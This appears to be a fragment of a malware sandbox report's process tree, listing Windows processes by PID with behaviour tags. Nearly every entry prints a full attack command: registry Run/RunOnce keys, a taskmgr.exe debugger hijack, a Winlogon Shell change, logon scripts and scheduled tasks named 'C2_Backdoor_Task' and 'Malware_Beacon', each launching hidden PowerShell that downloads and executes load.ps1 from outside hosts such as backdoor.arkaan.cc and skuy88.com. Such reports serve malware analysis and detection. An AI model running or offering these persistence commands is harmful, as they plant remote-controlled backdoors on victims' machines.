                                                                                                                                                                                                                                                                                                                PID:4168
                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.arkaan.cc/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                PID:4616
                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.arkaan.cc/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                  • Event Triggered Execution: Image File Execution Options Injection
                                                                                                                                                                                                                                                                                                                  PID:8160
                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.skuy88.com/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                  PID:1132
                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.skuy88.com/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                                    PID:4972
                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.way2ship.in/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                    PID:6208
                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                      reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.way2ship.in/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                      • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                                                                                                                                                                                                      PID:6892
                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.arkaan.cc/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                    PID:6772
                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                      reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.arkaan.cc/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                      • Modifies WinLogon for persistence
                                                                                                                                                                                                                                                                                                                      PID:6392
                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.skuy88.com/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                      PID:4812
                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                        schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.skuy88.com/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                                        PID:1292
                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.way2ship.in/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                        PID:7112
                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                          schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.way2ship.in/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                                          PID:5132
                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.arkaan.cc/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                          PID:1584
                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                            reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.arkaan.cc/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                            • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                                                                                                                                                                                                            PID:3608
                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.way2ship.in/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                          PID:6788
                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                            schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.way2ship.in/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                                            PID:2612
                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.arkaan.cc/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                            PID:6464
                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                              schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.arkaan.cc/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                                              PID:6856
                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.arkaan.cc/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                            PID:3236
                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                              schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.arkaan.cc/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                                                PID:8168
                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://skuy88.com/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                PID:8016
                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://skuy88.com/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                  • Adds Run key to start application
                                                                                                                                                                                                                                                                                                                                  PID:1336
                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://skuy88.com/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                  PID:8088
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://skuy88.com/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                    • Adds Run key to start application
                                                                                                                                                                                                                                                                                                                                    PID:4396
                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://skuy88.com/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                    PID:2440
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                      reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://skuy88.com/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                                      • Event Triggered Execution: Image File Execution Options Injection
                                                                                                                                                                                                                                                                                                                                      PID:2600
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://skuy88.com/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                      PID:4164
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://skuy88.com/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                                        • Modifies WinLogon for persistence
                                                                                                                                                                                                                                                                                                                                        PID:5724
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://skuy88.com/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                        PID:7468
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                          reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://skuy88.com/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                          • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                                                                                                                                                                                                                          PID:2144
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://skuy88.com/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                        PID:2676
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                          schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://skuy88.com/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                                                          PID:3108
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://skuy88.com/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                          PID:5400
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                            schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://skuy88.com/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                                                            PID:4328
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                    powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://ee88-e888-com.cc/malware/load.ps1')"
                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                    • Badlisted process makes network request
                                                                                                                                                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                    PID:5880
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                    explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://ee88-e888-com.cc/malware/load.ps1')"
                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                      PID:6044
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                      powershell
                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                      PID:4060
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                      • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                                                      • Modifies registry class
                                                                                                                                                                                                                                                                                                                                      • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                      PID:1240
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                      powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ex88.jp.net/malware/load.ps1')"
                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                      PID:5288
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                      explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ex88.jp.net/malware/load.ps1')"
                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                        PID:5052
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                        C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                        • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                                                        • Modifies registry class
                                                                                                                                                                                                                                                                                                                                        • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                        PID:5992
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                        powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://backdoor.mwpoker.us/malware/load.ps1')"
                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                        PID:5024
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                        explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://backdoor.mwpoker.us/malware/load.ps1')"
                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                          PID:6272
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                          powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://backdoor.arkaan.cc/malware/load.ps1')"
                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                          PID:6364
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                          C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                          • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                                                                                                                                                                                          • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                          PID:6524
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                          explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://backdoor.arkaan.cc/malware/load.ps1')"
                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                            PID:6760
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                            C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                            • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                                                            • Modifies registry class
                                                                                                                                                                                                                                                                                                                                            • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                            PID:6248
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                            powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://backdoor.juad888.us/malware/load.ps1')"
                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                            PID:3148
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                            powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://backdoor.superautoslot.vip/malware/load.ps1')"
                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                            PID:2644
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                            explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://backdoor.superautoslot.vip/malware/load.ps1')"
                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                              PID:2340
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                              C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                              • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                                                              • Modifies registry class
                                                                                                                                                                                                                                                                                                                                              • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                              PID:6436
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                PID:1500
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://backdoor.juad888.us/malware/load.ps1')"
                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                  PID:772
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                  powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ee88-e888-com.cc/malware/load.ps1')"
                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                  PID:640
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                  explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://backdoor.abgstore.com.co/malware/load.ps1')"
                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                    PID:3720
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                    powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://backdoor.way2ship.in/malware/load.ps1')"
                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
